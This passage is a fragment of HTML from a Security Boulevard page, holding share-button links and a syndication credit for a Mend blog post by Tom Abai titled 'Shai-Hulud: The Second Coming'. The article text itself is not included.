target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2025%2F11%2Fshai-hulud-the-second-coming%2F&amp;linkname=Shai-Hulud%3A%20The%20Second%20Coming" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2025%2F11%2Fshai-hulud-the-second-coming%2F&amp;linkname=Shai-Hulud%3A%20The%20Second%20Coming" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.mend.io">Mend</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Tom Abai">Tom Abai</a>. Read the original post at: <a href="https://www.mend.io/blog/shai-hulud-the-second-coming/">https://www.mend.io/blog/shai-hulud-the-second-coming/</a> </p>